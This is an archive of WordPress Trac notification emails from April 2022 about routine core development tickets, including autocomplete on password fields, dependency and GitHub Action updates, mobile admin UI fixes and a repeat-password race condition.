<https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 17:25:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 17:25:51 -0000 Subject: [wp-trac] [WordPress Trac] #43886: Chrome autofills password over "new password" field when updating user. In-Reply-To: <055.006b0bba2d633bb6a2d027bd96a73036@wordpress.org> References: <055.006b0bba2d633bb6a2d027bd96a73036@wordpress.org> Message-ID: <070.a77dbb6d431fe3f98e65952a31be4ee0@wordpress.org> #43886: Chrome autofills password over "new password" field when updating user. ------------------------------+-------------------------------------------- Reporter: WraithKenny | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch needs- | Focuses: accessibility, administration testing | ------------------------------+-------------------------------------------- Changes (by joedolson): * Attachment "43886.3.diff" added. Add autocomplete=off to 43886 to resolve 52714. -- Ticket URL: <https://core.trac.wordpress.org/ticket/43886> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 17:27:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 17:27:56 -0000 Subject: [wp-trac] [WordPress Trac] #54015: Unable to pass _embed param to enveloped REST API requests In-Reply-To: <056.7a3e907025d46dd4af28a7d94ff54e4b@wordpress.org> References: <056.7a3e907025d46dd4af28a7d94ff54e4b@wordpress.org> Message-ID: <071.a35c4050fd2015b25feff1aba592d72d@wordpress.org> #54015: Unable to pass _embed param to enveloped REST API requests --------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: REST API | Version: 5.4 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: rest-api --------------------------------------+--------------------------- Changes (by spacedmonkey): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53110" 53110]: {{{ #!CommitTicketReference repository="" revision="53110" REST API: Use `rest_parse_embed_param` function in `WP_REST_Server` class. Ensure that the value get parameter `_embed ` that is passed to the `envelope_response` method, is run through the `rest_parse_embed_param` function. Props Spacedmonkey, johnbillion, TimothyBlynJacobs. Fixes #54015. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54015#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 17:32:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 17:32:26 -0000 Subject: [wp-trac] [WordPress Trac] #43886: Chrome autofills password over "new password" field when updating user. In-Reply-To: <055.006b0bba2d633bb6a2d027bd96a73036@wordpress.org> References: <055.006b0bba2d633bb6a2d027bd96a73036@wordpress.org> Message-ID: <070.0be4020730131daa1fe5b3163adb074a@wordpress.org> #43886: Chrome autofills password over "new password" field when updating user. ------------------------------+-------------------------------------------- Reporter: WraithKenny | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch commit | Focuses: accessibility, administration ------------------------------+-------------------------------------------- Changes (by sabernhardt): * keywords: has-patch needs-testing => has-patch commit -- Ticket URL: <https://core.trac.wordpress.org/ticket/43886#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 17:38:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 17:38:20 -0000 Subject: [wp-trac] [WordPress Trac] #52714: Add New User Autofill Bug In-Reply-To: <054.9df492b8b2e085ae076fb5ca2a33644c@wordpress.org> References: <054.9df492b8b2e085ae076fb5ca2a33644c@wordpress.org> Message-ID: <069.dc56a9741d8b743a6ebe544c22afb5fe@wordpress.org> #52714: Add New User Autofill Bug --------------------------------------------+------------------------------ Reporter: clonemykey | Owner: joedolson Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Users | Version: 5.6.2 Severity: normal | Resolution: Keywords: has-patch needs-testing commit | Focuses: ui, | administration --------------------------------------------+------------------------------ Changes (by joedolson): * keywords: has-patch needs-testing assigned-for-commit => has-patch needs-testing commit * owner: davidbaumwald => joedolson * status: accepted => assigned -- Ticket URL: <https://core.trac.wordpress.org/ticket/52714#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 17:39:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 17:39:11 -0000 Subject: [wp-trac] [WordPress Trac] #52714: Add New User Autofill Bug In-Reply-To: <054.9df492b8b2e085ae076fb5ca2a33644c@wordpress.org> References: <054.9df492b8b2e085ae076fb5ca2a33644c@wordpress.org> Message-ID: <069.6a6b4b308031666e9912085c1b529c82@wordpress.org> #52714: Add New User Autofill Bug --------------------------------------------+------------------------------ Reporter: clonemykey | Owner: joedolson Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Users | Version: 5.6.2 Severity: normal | Resolution: fixed Keywords: has-patch needs-testing commit | Focuses: ui, | administration --------------------------------------------+------------------------------ Changes (by joedolson): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53111" 53111]: {{{ #!CommitTicketReference repository="" revision="53111" Users: Use autocomplete values on user profiles. Assign appropriate autocomplete values for new and edited user, user email, and password fields. Props clonemykey, sabernhardt, WraithKenny, bookdude13, konradyoast. Fixes #43886, #52714. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/52714#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 17:39:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 17:39:12 -0000 Subject: [wp-trac] [WordPress Trac] #43886: Chrome autofills password over "new password" field when updating user. In-Reply-To: <055.006b0bba2d633bb6a2d027bd96a73036@wordpress.org> References: <055.006b0bba2d633bb6a2d027bd96a73036@wordpress.org> Message-ID: <070.8a3f0a2bb43d8a0e5ba8fcd430f73c82@wordpress.org> #43886: Chrome autofills password over "new password" field when updating user. ------------------------------+-------------------------------------------- Reporter: WraithKenny | Owner: joedolson Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit | Focuses: accessibility, administration ------------------------------+-------------------------------------------- Changes (by joedolson): * status: accepted => closed * resolution: => fixed Comment: In [changeset:"53111" 53111]: {{{ #!CommitTicketReference repository="" revision="53111" Users: Use autocomplete values on user profiles. Assign appropriate autocomplete values for new and edited user, user email, and password fields. Props clonemykey, sabernhardt, WraithKenny, bookdude13, konradyoast. Fixes #43886, #52714. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/43886#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 18:37:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 18:37:36 -0000 Subject: [wp-trac] [WordPress Trac] #54725: Test tool and unit test improvements for 6.0 In-Reply-To: <058.ef48a8e18f6094886e999723ee87a81d@wordpress.org> References: <058.ef48a8e18f6094886e999723ee87a81d@wordpress.org> Message-ID: <073.f111cd272deb0ccd05ab76df3ea5c643@wordpress.org> #54725: Test tool and unit test improvements for 6.0 --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by desrosj): In [changeset:"53112" 53112]: {{{ #!CommitTicketReference repository="" revision="53112" Build/Test Tools: Update all 3rd party actions to their latest versions. This updates all 3rd party GitHub actions to their latest versions. - `actions/cache` from `2.1.6` to `3.0.1`. - `actions/github-script` from `5.0.0` to `6.0.0`. - `actions/setup-node` from `2.4.1` to `3.1.0`. - `codecov/codecov-action` from `2.1.0` to `3.0.0`. - `ramsey/composer-install` from `1.3.0` to `2.1.0`. - `shivammathur/setup-php` from `2.15.0` to `2.18.0`. Additionally, this updates all instances of the `actions/setup-node` action to replace the `node-version` option with the new `node-version- file`. This simplifies the process of changing the version of NodeJS used in workflows by only requiring the version to be changed once in the `.nvmrc` file. See #54725. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54725#comment:26> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 19:17:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 19:17:56 -0000 Subject: [wp-trac] [WordPress Trac] #55546: It is unclear what the two URL settings mean. Message-ID: <050.687cc7fc5b9d129e6201473891e0caff@wordpress.org> #55546: It is unclear what the two URL settings mean. --------------------------+----------------------------- Reporter: billpg | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Text Changes | Version: 5.9.3 Severity: normal | Keywords: Focuses: ui | --------------------------+----------------------------- There are two settings that accept a URL on the ''General Settings'' page: "WordPress Address (URL)" and "Site Address (URL)". To me, those two labels both mean exactly the same thing. It isn't clear if/when I should configure different values in these fields. If the two settings ''do'' actually mean the same thing, then one should be removed and code looking-up its value should be modified to read the remaining setting instead. If the two settings serve different purposes, then each one should have a note describing what it is used for and the labels should be changed to reflect those different purposes. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55546> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 19:37:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 19:37:53 -0000 Subject: [wp-trac] [WordPress Trac] #54811: Complete media url is not showing. In-Reply-To: <054.c79f56ec01ca32ba6f91f248193c9c6c@wordpress.org> References: <054.c79f56ec01ca32ba6f91f248193c9c6c@wordpress.org> Message-ID: <069.019ac9db29f2ee14fefc4bf62d103ff9@wordpress.org> #54811: Complete media url is not showing. -------------------------------------+------------------------------------- Reporter: sumitsingh | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: Severity: normal | Resolution: Keywords: has-screenshots has- | Focuses: ui, accessibility, patch commit | css, administration -------------------------------------+------------------------------------- Changes (by joedolson): * keywords: has-screenshots has-patch => has-screenshots has-patch commit Comment: I think that it's not crucial, and is unrelated to the issue in this ticket; so let's not implement design changes on a whim. It would also open the question of whether the alignment should also be changed on desktop, since that has the same indenting issue. Marking for commit; use 54811.diff. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54811#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 20:05:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 20:05:18 -0000 Subject: [wp-trac] [WordPress Trac] #54727: Update/Audit NPM Dependencies for 6.0 In-Reply-To: <058.65839f011c0f2b1f2f450912704ec2e3@wordpress.org> References: <058.65839f011c0f2b1f2f450912704ec2e3@wordpress.org> Message-ID: <073.d8c9fb2ee4c9d98c7d36027d523f5a88@wordpress.org> #54727: Update/Audit NPM Dependencies for 6.0 ------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ------------------------------+--------------------- Comment (by desrosj): In [changeset:"53113" 53113]: {{{ #!CommitTicketReference repository="" revision="53113" Build/Test Tools: Update some NPM dependencies to the latest versions. This updates several NPM dependencies to the latest versions, including: - `check-node-version` from `4.1.0` to `4.2.1`. - `dotenv` from `10.0.0` to `16.0.0`. - `dotenv-expand` from `5.1.0` to `8.0.3`. - `grunt-contrib-concat` from `2.0.0` to `2.1.0`. - `grunt-contrib-jshint` from `3.1.1` to `3.2.0`. - `grunt-contrib-uglify` from `5.0.1` to `5.1.0`. - `qunit` from `2.17.2` to `2.18.1`. - `sass` from `1.43.4` to `1.50.0`. - `sinon` from `12.0.1` to `13.0.1`. - `sinon-test` from `3.1.1` to `3.1.3`. - `uglify-js` from `3.14.3` to `3.15.3`. - `wait-on` from `6.0.0` to `6.0.1`. The updates to `dotenv` and `dotenv-expand` required a minor change to files using these packages. Additionally, this contains several updates to the `package-lock.json` file as a result of running `npm audit fix`. See #54727. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54727#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 20:06:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 20:06:09 -0000 Subject: [wp-trac] [WordPress Trac] #54727: Update/Audit NPM Dependencies for 6.0 In-Reply-To: <058.65839f011c0f2b1f2f450912704ec2e3@wordpress.org> References: <058.65839f011c0f2b1f2f450912704ec2e3@wordpress.org> Message-ID: <073.8a8f304f3a704ec1bc31f8bab506af44@wordpress.org> #54727: Update/Audit NPM Dependencies for 6.0 ------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ------------------------------+--------------------- Comment (by desrosj): Leaving this open for now. We can take one more pass at this if it's needed before RC1. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54727#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 20:15:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 20:15:43 -0000 Subject: [wp-trac] [WordPress Trac] #55547: Minor external library updates for 6.0 Message-ID: <051.0cb3fb214061706c84823c91e7cb223b@wordpress.org> #55547: Minor external library updates for 6.0 --------------------------------+----------------------- Reporter: desrosj | Owner: desrosj Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: External Libraries | Version: Severity: normal | Keywords: has-patch Focuses: | --------------------------------+----------------------- There are several external libraries that have updates that should be included in 6.0. - `moment` - `underscore` - `polyfill-library` - `formdata-polyfill` - `clipboard` - `backbone` The majority of these updates are bug fixes and documentation improvements with the exception of `polyfill-library`, which removes all IE6, 7, and 8 related code. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55547> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 20:36:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 20:36:17 -0000 Subject: [wp-trac] [WordPress Trac] #54811: Complete media url is not showing. In-Reply-To: <054.c79f56ec01ca32ba6f91f248193c9c6c@wordpress.org> References: <054.c79f56ec01ca32ba6f91f248193c9c6c@wordpress.org> Message-ID: <069.d66a24f594a444e3782dc27146af5f27@wordpress.org> #54811: Complete media url is not showing. -------------------------------------+------------------------------------- Reporter: sumitsingh | Owner: joedolson Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: Severity: normal | Resolution: fixed Keywords: has-screenshots has- | Focuses: ui, accessibility, patch commit | css, administration -------------------------------------+------------------------------------- Changes (by joedolson): * status: accepted => closed * resolution: => fixed Comment: In [changeset:"53114" 53114]: {{{ #!CommitTicketReference repository="" revision="53114" Posts, Post Types: Make permalink fully visible on mobile. Set `break-word` on sample permalink so the full permalink will be visible on mobile devices in posts, media, and comments. Prevent hidden text overflow or horizontal scrolling on mobile. Props sumitsingh, sabernhardt. Fixes #54811. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54811#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 20:52:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 20:52:14 -0000 Subject: [wp-trac] [WordPress Trac] #55508: Floating links in Save postbox In-Reply-To: <055.dc5f69f8ac19b580719ae4e0e696b7ec@wordpress.org> References: <055.dc5f69f8ac19b580719ae4e0e696b7ec@wordpress.org> Message-ID: <070.1800c6344d6eb0b5146d03bde31aa652@wordpress.org> #55508: Floating links in Save postbox ------------------------------+------------------------------ Reporter: sabernhardt | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: Awaiting Review Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch commit | Focuses: css ------------------------------+------------------------------ Changes (by joedolson): * keywords: has-patch => has-patch commit Comment: This looks good. It also has a small accessibility benefit, since correlating the left side / right side lay out for users with low vision at high zoom could be a problem. I'm not sure why this was ever aligned differently from on desktop; but I don't think it is any benefit. Marking for commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55508#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 21:09:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 21:09:10 -0000 Subject: [wp-trac] [WordPress Trac] #55508: Floating links in Save postbox In-Reply-To: <055.dc5f69f8ac19b580719ae4e0e696b7ec@wordpress.org> References: <055.dc5f69f8ac19b580719ae4e0e696b7ec@wordpress.org> Message-ID: <070.6359ea7688bb07267e54ce7c6cacefe9@wordpress.org> #55508: Floating links in Save postbox ------------------------------+------------------------------ Reporter: sabernhardt | Owner: joedolson Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: Media | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit | Focuses: css ------------------------------+------------------------------ Changes (by joedolson): * status: accepted => closed * resolution: => fixed Comment: In [changeset:"53115" 53115]: {{{ #!CommitTicketReference repository="" revision="53115" Media: Align username and post title in Save postbox. Remove the float alignment that places the "Uploaded by" username and the "Uploaded to" post title on the opposite side of the Save postbox for mobile. This matches the alignment on desktop, and makes it easier for low-vision users to track the information relationship between label and content. Props sabernhardt. Fixes #55508. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55508#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 21:16:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 21:16:22 -0000 Subject: [wp-trac] [WordPress Trac] #30154: Improve Media Modal UI at small-screen sizes: Redux In-Reply-To: <049.a1c37831464062fc1e1eeb65864cf360@wordpress.org> References: <049.a1c37831464062fc1e1eeb65864cf360@wordpress.org> Message-ID: <064.1a5092c21180e9602da9fbdf6340b9eb@wordpress.org> #30154: Improve Media Modal UI at small-screen sizes: Redux -------------------------------------------------+------------------------- Reporter: mor10 | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Media | Version: 4.0 Severity: normal | Resolution: Keywords: good-first-bug has-patch needs- | Focuses: ui, testing 2nd-opinion | javascript -------------------------------------------------+------------------------- Changes (by joedolson): * keywords: good-first-bug has-patch needs-testing => good-first-bug has- patch needs-testing 2nd-opinion Comment: @antpb Can you provide a second opinion on this? I'm pretty confident that removing access to crop on mobile is no longer relevant, but I only tested on Android. The CSS changes here are pretty valuable, so it would be nice to get this in by Tuesday. With the PHP changes removed, I think it's very doable. -- Ticket URL: <https://core.trac.wordpress.org/ticket/30154#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 21:49:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 21:49:28 -0000 Subject: [wp-trac] [WordPress Trac] #55443: Create WebP sub-sizes and use for output In-Reply-To: <059.ca56f5c85c01a14ae68fdc38f60b9c06@wordpress.org> References: <059.ca56f5c85c01a14ae68fdc38f60b9c06@wordpress.org> Message-ID: <074.420b4af55497f537d34836f0bea4cf5a@wordpress.org> #55443: Create WebP sub-sizes and use for output -------------------------------------------------+------------------------- Reporter: adamsilverstein | Owner: | adamsilverstein Type: enhancement | Status: assigned Priority: normal | Milestone: Future | Release Component: Media | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: testing needs-dev-note needs-docs needs-codex | performance -------------------------------------------------+------------------------- Changes (by adamsilverstein): * milestone: 6.0 => Future Release Comment: Changing Milestone to "future release" for now, follow up Make blog post in the works. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55443#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 22:30:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 22:30:13 -0000 Subject: [wp-trac] [WordPress Trac] #32747: WP Admin Menus/SubMenus Overlap in small screen In-Reply-To: <053.19f81590b59ff77c2a9b31983b4caf91@wordpress.org> References: <053.19f81590b59ff77c2a9b31983b4caf91@wordpress.org> Message-ID: <068.1bf542f98eeacfe3035551935f85e183@wordpress.org> #32747: WP Admin Menus/SubMenus Overlap in small screen -------------------------------------+------------------------------------- Reporter: turtlepod | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.2.2 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: ui, accessibility, css -------------------------------------+------------------------------------- Changes (by sabernhardt): * Attachment "wp-menu-scrollbar.mp4" added. with patch: submenus can hide under the bottom of the window at certain widths -- Ticket URL: <https://core.trac.wordpress.org/ticket/32747> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 22:31:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 22:31:07 -0000 Subject: [wp-trac] [WordPress Trac] #32747: WP Admin Menus/SubMenus Overlap in small screen In-Reply-To: <053.19f81590b59ff77c2a9b31983b4caf91@wordpress.org> References: <053.19f81590b59ff77c2a9b31983b4caf91@wordpress.org> Message-ID: <068.250150450fb5fa8d3da03b856b178784@wordpress.org> #32747: WP Admin Menus/SubMenus Overlap in small screen ------------------------------+-------------------------------------------- Reporter: turtlepod | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.2.2 Severity: normal | Resolution: Keywords: has-patch needs- | Focuses: ui, accessibility, javascript refresh | ------------------------------+-------------------------------------------- Changes (by sabernhardt): * keywords: has-patch needs-testing => has-patch needs-refresh * focuses: ui, accessibility, css => ui, accessibility, javascript Comment: It's not the auto-fold. In the range of 783 to about 800 pixels, if the window height is short enough to add a scrollbar, the lower submenus do not adjust to avoid the bottom of the window. ([https://www.youtube.com/watch?v=hnK7lyY8bCc the wp-menu-scrollbar video is also viewable on YouTube]) In Firefox's responsive mode, it works fine. The scrollbar width does not seem to have any effect there. -- Ticket URL: <https://core.trac.wordpress.org/ticket/32747#comment:26> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 9 00:17:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 09 Apr 2022 00:17:37 -0000 Subject: [wp-trac] [WordPress Trac] #54982: In 5.9 (classic) post editor the author pulldown only lists users with "edit_posts" capability In-Reply-To: <054.78d0eee349d68f29879a3254f34bb9d0@wordpress.org> References: <054.78d0eee349d68f29879a3254f34bb9d0@wordpress.org> Message-ID: <069.21a1239cfb849709c66caec3c30046ef@wordpress.org> #54982: In 5.9 (classic) post editor the author pulldown only lists users with "edit_posts" capability --------------------------+------------------------------ Reporter: joneiseman | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.9 Severity: normal | Resolution: Keywords: 2nd-opinion | Focuses: --------------------------+------------------------------ Comment (by r-a-y): I can confirm this bug. The switch to use the `'capability'` argument in `wp_dropdown_users()` broke the "Author" metabox for one of my custom post type plugins: https://github.com/WordPress/WordPress/commit/a225165010b5671a86f73401161bd1744f617c47 #diff-175c8967d13579422e4261a53f12b70a90ca4cbdff289c9bbfcf0713770c8bf2L911 Because of the switch to check the CPT's `'edit_posts'` cap, the user query checks the usermeta table to see if the capability exists: https://github.com/WordPress/WordPress/commit/a225165010b5671a86f73401161bd1744f617c47 #diff-26773a0cc66b5ba7b3c5108652bb2367424e6a78d4a05d1e35ff6d45701e3c07R458 However, for plugins that dynamically set the CPT's capabilities for the user with the `'map_meta_cap'` filter and do not manually add the cap to the usermeta DB table, the query would not return any users. I have to workaround this by doing a variant of what @joneiseman in [https://core.trac.wordpress.org/ticket/54982#comment:11 comment 11] for now. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54982#comment:19> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 9 00:24:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 09 Apr 2022 00:24:49 -0000 Subject: [wp-trac] [WordPress Trac] #55546: It is unclear what the two URL settings mean. In-Reply-To: <050.687cc7fc5b9d129e6201473891e0caff@wordpress.org> References: <050.687cc7fc5b9d129e6201473891e0caff@wordpress.org> Message-ID: <065.8eb4447ad0c132c08364ea2952fe4ad1@wordpress.org> #55546: It is unclear what the two URL settings mean. --------------------------+------------------------------ Reporter: billpg | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Text Changes | Version: Severity: normal | Resolution: Keywords: | Focuses: ui --------------------------+------------------------------ Changes (by peterwilsoncc): * version: 5.9.3 => Comment: Hi @billpg and welcome to trac! The settings do server different purposes but, you are correct, the explanation could be clearer. It's possible for WordPress to be installed at a different address than the home page, most commonly it's in a sub-directory: WordPress address: example.com/wp Site address: example.com In this example, the admin would be at example.com/wp/wp-admin/ Do you have any thoughts on the explanatory text WordPress could add to make this clearer? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55546#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 9 02:21:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 09 Apr 2022 02:21:20 -0000 Subject: [wp-trac] [WordPress Trac] #53974: Repeat Password field missing during installation In-Reply-To: <050.6056822c2b2f1ae3bcf769f2d4931f0d@wordpress.org> References: <050.6056822c2b2f1ae3bcf769f2d4931f0d@wordpress.org> Message-ID: <065.7be06c7df62472c333131bbcfb3e6bba@wordpress.org> #53974: Repeat Password field missing during installation -----------------------------+--------------------- Reporter: Eric3D | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: 5.8 Severity: normal | Resolution: Keywords: has-patch | Focuses: ui -----------------------------+--------------------- Comment (by peterwilsoncc): I am able to reproduce this consistently by changing the source of `zxcvbn-async` to `/wp-includes/js/zxcvbn.min.js` in the file `src/wp- includes/script-loader.php`. This forces the race condition mentioned in [comment:11:ticket:52086 comment#11] of #52086. The bug appears to be the same root cause as this one. I am experimenting with a fix. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53974#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 9 02:23:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 09 Apr 2022 02:23:20 -0000 Subject: [wp-trac] [WordPress Trac] #52086: user-profile.min.js issue on Firefox In-Reply-To: <052.d9ae12272953a126b412edfabb291a78@wordpress.org> References: <052.d9ae12272953a126b412edfabb291a78@wordpress.org> Message-ID: <067.5b47eaaee9b18fbfc39da926b34968ad@wordpress.org> #52086: user-profile.min.js issue on Firefox --------------------------+----------------------------------------- Reporter: adi64bit | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future Release Component: Users | Version: 5.6 Severity: critical | Resolution: Keywords: needs-patch | Focuses: javascript, administration --------------------------+----------------------------------------- Comment (by peterwilsoncc): I am able to reproduce this consistently by changing the source of `zxcvbn-async` to `/wp-includes/js/zxcvbn.min.js` in the file `src/wp- includes/script-loader.php`. This forces the race condition mentioned in [comment:11 comment#11]. Ticket #53974 is related to this issue but occurs on the site creation screen. I'm working on a patch on that ticket. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52086#comment:39> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 9 03:05:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 09 Apr 2022 03:05:07 -0000 Subject: [wp-trac] [WordPress Trac] #53974: Repeat Password field missing during installation In-Reply-To: <050.6056822c2b2f1ae3bcf769f2d4931f0d@wordpress.org> References: <050.6056822c2b2f1ae3bcf769f2d4931f0d@wordpress.org> Message-ID: <065.ec5927699b19e0cff36095ca9fcc7a99@wordpress.org> #53974: Repeat Password field missing during installation -----------------------------+----------------------------- Reporter: Eric3D | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: 5.8 Severity: normal | Resolution: Keywords: has-patch | Focuses: ui, javascript -----------------------------+----------------------------- Changes (by peterwilsoncc): * focuses: ui => ui, javascript Comment: I've pushed a [https://github.com/WordPress/wordpress-develop/pull/2550 pull request] that makes the following changes: * calls `bindToggle()` in `generatePassword()` * Ensures the toggle button isn't bound multiple times * this is a stopgap solution that will need a follow up ticket to improve the code It seems to fix both this and the similar issue reported in #52086. It's best to test by forcing the race condition with the instructions in the previous comment. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53974#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 9 03:20:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 09 Apr 2022 03:20:57 -0000 Subject: [wp-trac] [WordPress Trac] #53974: Repeat Password field missing during installation In-Reply-To: <050.6056822c2b2f1ae3bcf769f2d4931f0d@wordpress.org> References: <050.6056822c2b2f1ae3bcf769f2d4931f0d@wordpress.org> Message-ID: <065.eb75afbafc0241f0bd16c9c0b6daff3f@wordpress.org> #53974: Repeat Password field missing during installation -----------------------------+----------------------------- Reporter: Eric3D | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 